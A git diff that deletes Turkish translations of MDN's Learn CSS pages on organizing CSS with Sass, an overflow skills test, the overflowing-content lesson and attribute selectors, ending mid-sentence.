<code>foundation/_code.scss</code>, <code>foundation/_lists.scss</code>, <code>foundation/_footer.scss</code>, <code>foundation/_links.scss</code> vb. dosyaların olsun. Bunları Sass'da kullanmak için <code>@use</code> bildirimini kullanabilirsin:</p> - -<pre class="brush: css notranslate">// foundation/_index.sass -@use 'code' -@use 'lists' -@use 'footer' -@use 'links'</pre> - -<p>Kısımların tümü, yukarıda belirtildiği gibi bir dizin dosyasına yüklenirse, daha sonra tüm dizini tek seferde başka bir stil sayfasına bağlayabilirisin:</p> - -<pre class="brush: css notranslate">// style.sass -@use 'foundation'</pre> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Sass'ı denemenin basit bir yolu <a href="https://codepen.io">CodePen</a> kullanmakttır. CSS'in için Sass'ı ayarlardan etkinleştirerek, CodePen'nin web sayfanı normal şekilde görebilmen için Sass aracını kullanmasını sağlayabilirsin. Bazen CSS öğreticilerinin CodePen demolarında düz CSS yerine Sass kullandığını göreceksin, bu sebeble bu konuda bilgi sahibi olman faydalı olacaktır.</p> -</div> - -<h4 id="Optimizasyon_için_son_işlem">Optimizasyon için son işlem</h4> - -<p>Örneğin, çok sayıda ek yorum ve boşluk ekleyerek stil sayfalarının boyutunun artmasından endişe ediyorsan, üretim sürümünde gereksiz olan her şeyi kaldırarak CSS'i optimize etmek için bir işlem sonrası yapılması gerekenler olabilir. Bunu yapmak için son işlemci çözümüne bir örnek <a href="https://cssnano.co/">cssnano</a>.</p> - -<h2 id="Bundan_sonra">Bundan sonra</h2> - -<p>Bu, CSS'i öğrenme rehberinin son bölümüdür ve görebileceğin gibi CSS'i keşfinin bu noktadan sonra devam edebileceği birçok yol vardır.</p> - -<p>CSS'de mizanpaj hakkında daha fazla bilgi edinmek için <a href="/tr/docs/Learn/CSS/CSS_layout">CSS Mizanpajını Hakkında</a> bölümüne bakabilirsin.</p> - -<p>Artık <a href="/tr/docs/Web/CSS">MDN CSS</a> materyalinin geri kalanını keşfetme becerisine sahip olmalısın. özellikleri ve değerleri arayabilir, kullanılacak kalıplar için <a href="/tr/docs/Web/CSS/Layout_cookbook">CSS YemekKitabını</a> inceleyebilir ve <a href="/tr/docs/Web/CSS/CSS_Grid_Layout">CSS Izgara Düzeni Rehberi</a> gibi bazı özel kılavuzlardan daha fazlasını okuyabilirsin.</p> - -<h2 id="Bu_kısımda">Bu kısımda</h2> - -<ol> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Kaynak sırası ve miras</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors">CSS seçicileri</a> - <ul> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Tür, sınıf ve kimlik seçicileri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Nitelik seçiciler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Sözde sınıflar ve sözde öğeler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Birleştiriciler</a></li> - </ul> - </li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/The_box_model">Kutu modeli</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arka planlar ve kenarlıklar</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Farklı metin yönleri kullanma</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Overflowing_content">Taşan içerik</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Values_and_units">Değerler ve birimler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS'de öğelerin boyutları</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Görseller, medya ve form öğeleri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Styling_tables">Tabloları şekillendirme</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS'de hata ayıklama</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Organizing">CSS'inizi düzenleme</a></li> -</ol> diff --git a/files/tr/learn/css/building_blocks/overflow_tasks/index.html b/files/tr/learn/css/building_blocks/overflow_tasks/index.html deleted file mode 100644 index d84ac5c022..0000000000 --- a/files/tr/learn/css/building_blocks/overflow_tasks/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: 'Becerilerinizi test edin: Taşma' -slug: Learn/CSS/Building_blocks/Overflow_Tasks -tags: - - Acemi - - Beginner - - CSS -translation_of: Learn/CSS/Building_blocks/Overflow_Tasks -original_slug: Öğren/CSS/CSS_yapi_taslari/Overflow_Tasks ---- -<div>{{LearnSidebar}}</div> - -<div></div> - -<p>Bu görevlerin amacı, CSS'deki taşma konusundaki anlayışınızı kontrol etmenize yardımcı olmaktır.</p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Aşağıdaki etkileşimli düzenleyicilerde kodları deneyebilirsiniz, ancak kodu indirip görevler üzerinde çalışabilmek için kullanabileceğiniz <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, veya <a href="https://glitch.com/">Glitch</a> gibi çevrimiçi bir araç kullanılması da yararlı olabilir.</p> - -<p>Sıkışırsanız, bizden yardım isteyin — bu sayfanın altındaki {{anch("Değerlendirme ve yardım")}} bölümüne bakın.</p> -</div> - -<h2 id="Birinci_Görev">Birinci Görev</h2> - -<p>Kutu sabit bir yüksekliğe sahip olduğu için içerik kutudan taşıyor. yüksekliği koruyun, ancak yalnızca taşmaya neden olacak kadar metin varsa kutunun kaydırma çubuklarına sahip olmasını sağlayın. Metnin bir kısmını HTML'den kaldırarak test edin, yalnızca kutunun sınırlarını aşmayacak uzunlukta içerik mevcut ise, kaydırma çubuklarının gizlenmesi gerekmektedir.</p> - -<p><img alt="A small box with a border and a vertical scrollbar." src="https://mdn.mozillademos.org/files/17133/mdn-overflow1.png" style="height: 456px; width: 632px;"></p> - -<p>Bitmiş örneği oluşturabilmek için aşağıdaki canlı kodu düzenleyin:</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/overflow/overflow-scroll.html", '100%', 800)}}</p> - -<div class="blockIndicator note"> -<p>Değerlendirme ve daha ileri çalışma için bu görevin, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/overflow/overflow-scroll-download.html">kaynak kodlarını</a> editörünüzde veya çevrimiçi düzenleyicide çalışması için indirebilirsiniz.</p> -</div> - -<h2 id="İkinci_Görev">İkinci Görev</h2> - -<p>Bu görevde bir görüntü kutunun içindedir, kutunun boyutlarından daha büyük olduğunda gözle görülür bir şekilde taşar. Resmin, kutudan taşan kısımlarının görüntülenmecek şekilde gizlenmesini sağlayın.</p> - -<p><img alt="A box with an image which fills the box but does not spill out the edges." src="https://mdn.mozillademos.org/files/17134/mdn-overflow2.png" style="height: 389px; width: 565px;"></p> - -<p>Örneği resimde gösterildiği gibi yeniden oluşturabilmek için aşağıdaki canlı kodu düzenleyin:</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/overflow/overflow-hidden.html", '100%', 1100)}}</p> - -<div class="blockIndicator note"> -<p>Değerlendirme ve daha ileri çalışma için bu görevin, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/overflow/overflow-hidden-download.html">kaynak kodlarının</a> editörünüzde veya çevrimiçi düzenleyicide çalışması için indirebilirsiniz.</p> -</div> - -<h2 id="Değerlendirme_veya_daha_fazla_yardım">Değerlendirme veya daha fazla yardım</h2> - -<p>Bu örnekleri yukarıda bahsedilen Etkileşimli Editörlerde deneyebilirsiniz.</p> - -<p>Çalışmanizin değerlendirilmesini istiyorsanız veya bir noktada takılıp kaldıysanız ve yardım istemek istiyorsanız:</p> - -<ol> - <li>Çalışmanızı <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, veya <a href="https://glitch.com/">Glitch</a> gibi çevrimiçi paylaşılabilir bir düzenleyiciye kaydedin. Kodu kendiniz yazabilir veya yukarıdaki bölümlerde bağlantı verilen kaynak kodları kullanabilirsiniz.</li> - <li>Bize <a class="external external-icon" href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN Discourse forum Learning category</a> değerlendirme ve/veya yardım isteyen bir gönderi yazın. Gönderinizde bulunması gerekenler: - <ul> - <li>"Kutu Modeli Beceri testi 1 için istenen değerlendirme" gibi açıklayıcı bir başlık.</li> - <li>Halihazırda denediklerinizin ve bizden ne yapmamızı istediğinizle ilgili ayrıntılar.</li> - <li>Değerlendirilmek istediğiniz veya yardıma ihtiyaç duyduğunuz kodun çevrimiçi paylaşılabilir düzenleyicide bağlantısı. Göremediğimiz bir kod üzerinde değerlendirme ve/veya yardımda bulunamayız.</li> - <li>Yardım almak istediğiniz soruyu bulabilmemiz için asıl görev veya değerlendirme sayfasına bir bağlantı.</li> - </ul> - </li> -</ol> diff --git a/files/tr/learn/css/building_blocks/overflowing_content/index.html b/files/tr/learn/css/building_blocks/overflowing_content/index.html deleted file mode 100644 index 4737025f4f..0000000000 --- a/files/tr/learn/css/building_blocks/overflowing_content/index.html +++ /dev/null @@ -1,141 +0,0 @@ ---- -title: İçerik taşması -slug: Learn/CSS/Building_blocks/Overflowing_content -tags: - - Acemi - - Beginner - - Block Formatting Context - - CSS - - Data Loss - - Eğitim - - Learn - - Veri kaybı - - overflow - - taşma -translation_of: Learn/CSS/Building_blocks/Overflowing_content -original_slug: Öğren/CSS/CSS_yapi_taslari/Overflowing_content ---- -<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks")}}</div> - -<p>Bir kutuya sığmayacak kadar fazla içerik olduğunda taşma olur. Bu derste taşmanın ne olduğunu ve nasıl yönetilceğini öğreneceksin.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanımı, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Installing_basic_software">gerekli yazılımların yüklenmesi</a>, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Dealing_with_files">dosyalarla çalışma</a> konusunda yeterli seviyede bilgiler ve HTML temelleri (<a href="/tr/docs/Learn/HTML/Introduction_to_HTML">IHTML'ye Giriş</a> bölümünü inceleyin.) ve CSS'in nasıl çalıştığı hakkında bilgi(<a class="new" href="/tr/docs/Learn/CSS/First_steps" rel="nofollow">CSS ilk adım</a>)</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>Taşmayı ve onu nasıl yöneteceğini anlamak.</td> - </tr> - </tbody> -</table> - -<h2 id="Taşma_nedir">Taşma nedir?</h2> - -<p>CSS'deki her öğe bir kutudur. {{cssxref("width")}} ve {{cssxref("height")}} (veya {{cssxref("inline-size")}} ve {{cssxref("block-size")}}) değerleri atayarak bu kutuların boyutlarını ayarlayabiliriz. <strong>Eğer boyutlarını ayarladığımız kutunun içeriği, kutunun boyutları içerisine sığmaz ise içerik kutu dışına çıkar ve biz bunu taşma olarak adlanırırız.</strong> CSS, taşmayı yönetmek için çeşitli araçlar sağlar. CSS düzeninde ilerledikçe ve CSS yazdıkça, daha fazla taşma durumuyla karşılaşacaksın.</p> - -<h2 id="CSS_veri_kaybını_önlemeye_çalışır">CSS, "veri kaybını" önlemeye çalışır</h2> - -<p>Taşma olduğunda CSS'in varsayılan davranışını gösteren iki örneği ele alım.</p> - -<p>İlk örnek, <code>height</code> niteliği kullanılarak kutunun uzunluğu kısaltılmıştır. Ardından ayrılan alanı aşan içerik ekliyoruz. İçerik kutunun dışına taşar ve aşağıdaki paragrafın üzerinde görüntülenir.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/overflow/block-overflow.html", '100%', 600)}}</p> - -<p>İkinci örnek, kutu içeriğinde bir kelime vardır ve kutu kelime için çok küçük olacak şekilde boyutlandırıldı. Bu yüzden metin kutunun dışına çıktı.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/overflow/inline-overflow.html", '100%', 500)}}</p> - -<p>CSS'in neden bu kadar dağınık bir şekilde çalıştığını ve içeriği amaçlanan kapsayıcısının dışında görüntülediğini merak edebilirsin. neden taşan içeriği gizlemiyorsun? Neden kapsayıcının boyutunu tüm içeriğe uyacak şekilde ölçeklendirmiyorun?</p> - -<p>Mümkün olan her yerde, CSS içeriği gizlemez. Bu, veri kaybına neden olur. Veri kaybıyla ilgili sorun, fark edemeyebilmendir. Web sitesi ziyaretçileri fark etmeyebilir. Bir formdaki gönder düğmesi kaybolursa ve kimse formu tamamlayamazsa, bu büyük bir sorun olabilir! Bunun yerine, CSS içeriğin sığmadığı durumlarda görünür bir şekilde taşar. Bir sorun olduğunu görme olasılığın daha yüksektir. En kötü ihtimalle, bir site ziyaretçisi içeriğin düzensizliğini size bildirecektir.</p> - -<p>Bir kutuya <code>width</code> veya <code>height</code> ile sınırlarsan, CSS ne yaptığını bilmene güvenir. CSS, taşma potansiyelini yönettiğini varsayar. Genel olarak, kutu metin içerdiğinde blok boyutunu sınırlamak sorunludur. Siteyi tasarlarken beklediğinden daha fazla metin olabilir veya metin daha büyük olabilir. (Örn, kullanıcı yazı tipi boyutunu arttırabilir)</p> - -<p>Sonraki iki konu, boyutlandırmayı taşmaya daha az eğilimli şekillerde kontrol etmeye yönelik farklı yaklaşımları açıklar. Bununla birlikte, sabit bir boyuta ihtiyacın varsa, taşmanın nasıl davranacağını da kontrol edebilirsin.</p> - -<h2 id="Taşma_niteliği_overflow">Taşma niteliği: <code>overflow</code></h2> - -<p>{{cssxref("overflow")}} niteliği bir öğenin taşma kontrolünün nasıl ele alınacağını belirler. Tarayıcıya nasıl davranması gerektiği konusunda talimat verme şeklimiz budur. Taşmanın varsayılan değeri <code>visible</code>'dir. Bu varsayılan ile içeriği taştığını da görebiliriz.</p> - -<p>Taşan içeriği gizlemek için de ayarlayabilirsin; <code>overflow: hidden</code>. Bu tam olarak söylediği şeyi yapar: taşmayı gizler. Bunun bazı içerikleri görünmez hale getirebileceğine dikkat edin. Bunu yalnızca içeriği gizlemek soruna neden olmaz ise yapmalısın.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/overflow/hidden.html", '100%', 600)}}</p> - -<p>Bunun yerine, belki de içerik taştığında kaydırma çubukları eklemek istersen; <code>overflow: scroll</code>. Taşma için yeterli içerik olmasa bile, görünür kaydırma çubuklarına sahip tarayıcılar kullanıldığında, bunları her zaman görüntülenir. Bu, kutudaki içerik miktarına bağlı olarak kaydırma çubuklarının görünmesi/kaybolması yerine düzeni tatarlı tutma avantajını sunar.</p> - -<p><strong>Aşağıdaki kutudan bazı içerikleri kaldırın. Kaydırmaya gerek olmasa bile kaydırma çubuklarının nasıl kaldığına dikkat edin.</strong></p> - -<p>{{EmbedGHLiveSample("css-examples/learn/overflow/scroll.html", '100%', 600)}}</p> - -<p>Yukarıdaki örnekte, sadece <code>y</code> ekseni için kaydırmamız gerekiyor, ancak her iki eksende de kaydırma çubukları görünüyor. Sadece <code>y</code> ekseninde kaydırma çubuğu olsun istiyorsak {{cssxref("overflow-y")}} niteliğini kullanmamız gerekiyor, tanımlama <code>overflow-y: scroll</code>.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/overflow/scroll-y.html", '100%', 600)}}</p> - -<p>{{cssxref("overflow-x")}} uzun kelimeleri barındırmak için önerilen bir yol olmasa da, bu nitelikle x ekseninde de kaydırabilirsin! Küçük bir kutuda uzun bir kelimen varsa, {{cssxref("word-break")}} veya {{cssxref("overflow-wrap")}} niteliklerini kullanmayı düşünebilirsin. Ek olarak, <a href="/tr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS'de öğeleri boyutlandırma bölümünde</a> tartışılan yöntemlerden bazıları, değişken içerik miktarlarını daha iyi ölçeklendiren kutular oluşturmana yardımcı olabilir.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/overflow/scroll-x.html", '100%', 500)}}</p> - -<p><code>scroll</code>'da olduğu gibi, kaydırma çubuğuna neden olacak kadar içerik olup olmadığına bakılmaksızın kaydırma boyutunda bir kaydırma çubuğu elde edersin.</p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: <code>overflow</code> niteliği kullanılarak oluşturulan kuralda hem x, hemde y eksenleri için aynı özellikte kaydırma çubukları elde edersin. İki anahtar kelime kullanılırsa; örneğin, <code>overflow: scroll hidden</code>'nin açılımı: <code>overflow-x: scrool</code> ve <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">overflow-y: hidden</span></font> olacak şekilde yorumlanacaktır.</p> -</div> - -<p>Kaydırma çubuklarının sadece kutuya sığamayacak kadar fazla içerik olduğunda görünmesini istiyorsan, <code>overflow:auto</code> kullanın. Bu, tarayıcının kaydırma çubuklarının görüntülenip görüntülenmemesinin gerekip gerekmediğini belirlemesini sağlar.</p> - -<p><strong>Aşağıdaki örnekte, kutuya sığana kadar içeriği silin. Kaydırma çubuklarının kaybolduğunu görmelisin.</strong></p> - -<p>{{EmbedGHLiveSample("css-examples/learn/overflow/auto.html", '100%', 600)}}</p> - -<div class="blockIndicator note"> -<p><strong>Not:</strong> Kaydırma çubuklarının görünüp görüntülenmesi sadece CSS'in elinde değildir. Eğer işletim sisteminin sistem ayarlarında kaydırma(sarma) çubuklarının görüntülenme şekliyle ilgili bir ayar uygulamışsan; tarayıcın ilk önce bu sistem ayarını dikkate alacaktır.(örn. Mac OS X, "Sistem Tercihleri -> Genel -> Sarma çubuklarını göster" ayarı)</p> -</div> - -<h2 id="Taşma_Blok_Biçimlendirme_Kapsamı_oluşturur">Taşma, Blok Biçimlendirme Kapsamı oluşturur</h2> - -<p><code>scroll</code> veya <code>auto</code> gibi bir taşma değeri kullandığında, <strong>Blok Biçimlendirme Kapsamı(Block Formatting Context - BFC)</strong> oluşturursun. <code>overflow</code> olarak tanımladığın kutunun içeriği bağımsız bir düzen oluşturur. Kutunun dışındaki hiç bir içerik bu kutuyu çevreleyen düzenin içerisine giremez. Tutarlı bir kaydırma deneyimi oluşturmak için tüm kutu içeriğinin gösterilebilmesi ve başka öğelerle örtüşmemesi gerektiğinden bu kaydırma davranışını mümkün kılar.</p> - -<h2 id="Web_tasarımında_istenmeyen_taşma">Web tasarımında istenmeyen taşma</h2> - -<p>Modern yerleşim yöntemleri (<a href="/tr/docs/Learn/CSS/CSS_layout">CSS düzeninde</a> açıklanmıştır) taşmayı yönetir ve web sayfasında ne kadar içeriğin olacağı konusunda varsayımları veya bağımlılıkları olmadan çalışırlar.</p> - -<p>Bu her zaman bir ölçüt olmamıştır. Geçmişte bazı siteler, kutuların tabanlarını hizalamak için sabit yükseklikte kutular inşa ediyordu. Bu kutuların birbirleriyle hiçbir ilişkisi olmayabiliyordu ve bu kırılgandı. Eski bir uygulamada, içeriğin sayfadaki diğer içeriği kapladığı bir durumla karşılaşabilirisin. Artık bunun taşma ile gerçekleştiğini anlayabilirsin. İdeal olarak, düzeni sabit yükseklikteki kutulara bağlı kalmayacak şekilde yeniden düzenlemen gerekir.</p> - -<p>Bir site geliştirirken her zaman taşmayı aklında bulundurmalısın. Büyük ve az miktarda içeriğe sahip tasarımları test et. Metnin yazı tipi boyutlarını artır. Her zaman CSS'inin sağlam bir şekilde çalıştığından emin olmalısın. İçeriği gizlemek veya kaydırma çubukları eklemek için taşma değerinin değiştirilmesi, büyük olasılıkla birkaç belli kullanım durumu için illaki olacaktır.(Örn. Kaydırılmasına ihtiyaç duyduğun içeriğe sahip bir kutuda)</p> - -<h2 id="Becerilerini_test_et!">Becerilerini test et!</h2> - -<p>Bu derste birçok konuyu ele aldık, ancak en önemli bilgileri hatırlıyor musun? Devam etmeden önce bu bilgileri öğrendiğini doğrulamak için bazı testler hazırladım. bkz. <a href="/tr/docs/Learn/CSS/Building_blocks/Overflow_Tasks">Becerilerini test edin: taşma</a>.</p> - -<h2 id="Özet">Özet</h2> - -<p>Bu derste taşma kavramını tanıttım. CSS'in Varsayılan davranışının, taşan içeriği görünmez hale getirmekten kaçındığını anlamalısın. Olası taşmayı yönetebileceğini ve ayrıca kazara sorunlu taşmaya neden olunmadığından emin olmak için tasarımını test etmen gerektiğini benimsemelisin.</p> - -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks")}}</p> - -<h2 id="Bu_kısımda">Bu kısımda</h2> - -<ol> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Kaynak sırası ve miras</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors">CSS seçicileri</a> - <ul> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Tür, sınıf ve kimlik seçicileri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Nitelik seçiciler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Sözde sınıflar ve sözde elemanlar</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Birleştiriciler</a></li> - </ul> - </li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/The_box_model">Kutu modeli</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arka planlar ve kenarlıklar</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Farklı metin yönleri kullanma</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Overflowing_content">Taşan içerik</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Values_and_units">Değerler ve birimler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS'de elemanların boyutları</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Görseller, medya ve form öğeleri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Styling_tables">Tabloları şekillendirme</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS'de hata ayıklama</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Organizing">CSS'ini düzenleme</a></li> -</ol> diff --git a/files/tr/learn/css/building_blocks/selectors/attribute_selectors/index.html b/files/tr/learn/css/building_blocks/selectors/attribute_selectors/index.html deleted file mode 100644 index 224b5b181a..0000000000 --- a/files/tr/learn/css/building_blocks/selectors/attribute_selectors/index.html +++ /dev/null @@ -1,166 +0,0 @@ ---- -title: Nitelik seçiciler -slug: Learn/CSS/Building_blocks/Selectors/Attribute_selectors -tags: - - Attrubute - - Başlangıç - - Beginner - - CSS - - Learn - - Nitelik - - Ogrenim - - Selectors - - seçiciler -translation_of: Learn/CSS/Building_blocks/Selectors/Attribute_selectors ---- -<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks")}}</p> - -<p>HTML eğitimi çalışmalarından hatırladığın gibi, kullanılan öğenin, öğe hakkında daha ayrıntılı bilgi veren niteliklere sahip olabilir. CSS'de, belirli niteklilere sahip öğeleri hedeflemek için nitelik seçicileri kullanabilirsin. Bu ders, bu çok kullanışlı seçicileri nasıl kullanacağını gösterecek.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanımı, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Installing_basic_software">gerekli yazılımların yüklenmesi</a>, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Dealing_with_files">dosyalarla çalışma</a> konusunda yeterli seviyede bilgiler ve HTML temelleri (<a href="/tr/docs/Learn/HTML/Introduction_to_HTML">IHTML'ye Giriş</a> bölümünü inceleyin.) ve CSS'in nasıl çalıştığı hakkında bilgi(<a class="new" href="/tr/docs/Learn/CSS/First_steps" rel="nofollow">CSS ilk adım</a>)</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>Nitelik seçicilerin ne olduğunu ve nasıl kullanılacağını öğrenmek.</td> - </tr> - </tbody> -</table> - -<h2 id="Durum_ve_değer_seçiciler">Durum ve değer seçiciler</h2> - -<p>Bu seçiciler, tek başına bir niteliğin varlığına (örneğin <code>href</code>) veya niteliğin değerine karşı çeşitli eşleşmelere dayalı olarak bir öğenin seçilmesini sağlar.</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Seçici</th> - <th scope="col">Örnek</th> - <th scope="col">Açıklama</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>[nitelik]</code></td> - <td><code>a[title]</code></td> - <td>Belirtilen niteliğe sahip öğeleri eşleştirir(adı köşeli parantez içindeki değerdir)</td> - </tr> - <tr> - <td><code>[nitelik=değer]</code></td> - <td><code>a[href="https://example.com"]</code></td> - <td>Nitelik değerinin tırnak içerisindeki değerle tam olarak eşleşenleri seçer.</td> - </tr> - <tr> - <td><code>[nitelik~=değer]</code></td> - <td><code>p[class~="special"]</code></td> - <td> - <p><br> - Nitelik değeri tırnak içerisindeki değerle tam olarak eşleşen veya diğerlerinden boşlukla ayrılmış olan eşleşmeleri seçer.</p> - </td> - </tr> - <tr> - <td><code>[nitelik|=<em>değer</em>]</code></td> - <td><code>div[lang|="zh"]</code></td> - <td>Nitelik değeri tırnak içerisindeki değerle tam olarak eşleşen veya eşleşen değerle başlamış olması kaidesiyle hemen ardından tire(-) işaretiyle ayrılmış değerleri seçer.</td> - </tr> - </tbody> -</table> - -<p>Aşağıdaki örnekte bu seçicilerin kullanıldığını görebilirsin.</p> - -<ul> - <li><code>li[class]</code>: kullanarak bir seçiciyi herhangi bir sınıf niteliğine sahip öğeyle eşleştirebiliriz.</li> - <li><code>li[class="a"]</code>: <code>a</code> sınıfına sahip bir öğeyle eşleşir. ancak öğe <code>a</code> sınıfından başka bir sınıfa da dahil edilmiş ise bu öğeyle eşleşmez.</li> - <li><code>li[class~="a"]</code>: <code>a</code> sınıfıyla tam olarak eşleşen ve boşlukla diğer sınıflardan ayrılarak tanımlanmış öğeleride seçer.</li> - <li><code>li[lang|="zh"</code>: <code>zh</code> ile tam eşleşen veya <code>zh</code><code>-</code> ile başlayan nitelik değerlerine sahip öğeleri seçer.</li> -</ul> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/attribute.html", '100%', 800)}}</p> - -<h2 id="Alt_dize_eşleştirme_seçicileri">Alt dize eşleştirme seçicileri</h2> - -<p>Bu seçiciler, niteliğin değeri içindeki dizelerde daha gelişmiş eşlemelere olanak tanır. Örneğin, <code>box-warning</code> ve <code>box-error</code> sınıfların olsun ve siz <code>box-</code> dizesiyle başlayan her şeyi hedeflemek istiyorsan, <code>[class^="box-"]</code> ile ikisini birde seçebilirsin. (veya <code>[class|="box"]</code> yukarıdaki bölümde açıklandığı gibi).</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Seçici</th> - <th scope="col">Örnek</th> - <th scope="col">Açıklama</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>[nitelik^=<em>value</em>]</code></td> - <td><code>li[class^="box-"]</code></td> - <td>nitelik değeri, çift tırnak içerisindeki dize ile başlıyorsa eşleştirmeyi sağlar.</td> - </tr> - <tr> - <td><code>[nitelik$=<em>value</em>]</code></td> - <td><code>li[class$="-box"]</code></td> - <td>nitelik değeri, çift tırnak içerisindeki dize ile bitiyorsa eşleştirmeyi sağlar.</td> - </tr> - <tr> - <td><code>[nitelik*=<em>value</em>]</code></td> - <td><code>li[class*="box"]</code></td> - <td>nitelik değerinin herhangi bir yerinde çift tırnak içerisindeki dize bulunuyorsa eşleştirme sağlar.</td> - </tr> - </tbody> -</table> - -<p>(Dipnot: Düzenli ifadelerde kullanımları çok yaygındır <code>^</code> ile başlayanlar ve <code>$</code> <em>ile bitenler</em>.)</p> - -<p>Bir sonraki örnek, bu seçicilerin kullanımını göstermektedit:</p> - -<ul> - <li><code>li[class^="a"]</code>: <code>a</code> ile başlayan herhangi bir nitelik değeriyle eşleşir. Bu nedenle ilk iki liste öğesiyle eşleşir.</li> - <li><code>li[class$="a"]</code>: <code>a</code> ile biten herhangi bir nitelik değeriyle eşleşir. Bu nedenle birinci ve üçüncü liste öğesiyle eşleşir.</li> - <li><code>li[class*="a"]</code>: Herhangi bir nitelik değerinin, herhangi bir yerinde <code>a</code> dizesi geçiyorsa eşleşir. Bu yüzden tüm liste öğelerimizle eşleşir.</li> -</ul> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/attribute-substring.html", '100%', 800)}}</p> - -<h2 id="Büyük_küçük_harf_duyarlılığı">Büyük küçük harf duyarlılığı</h2> - -<p>Esasen CSS büyük/küçük harfe duyarlı değildir. Fakat HTML belge dilinin gereksinimlerinden dolayı ASCII karakter aralığında büyük/küçük harfe duyarlı olacaktır. Eğer kurallarının büyük/küçük harfe duyarlı olmasını istemiyorsan <code>i</code> bildirimini köşeli parantezi kapatmadan önce bildirmen gerekmektedir. CSS'in büyük/küçük harfe duyarlılığı hedeflediği belge diline göre belirlenecektir.</p> - -<p>Aşağıdaki örnekte, ilk seçici, <code>a</code> ile başlayan bir değerle eşleşecektir — yalnızca ilk liste öğesiyle eşleşir çünkü diğer iki liste öğesi büyük A harfiyle başlar. ikinci seçici, büyük/küçük harf duyarlı bağrağını 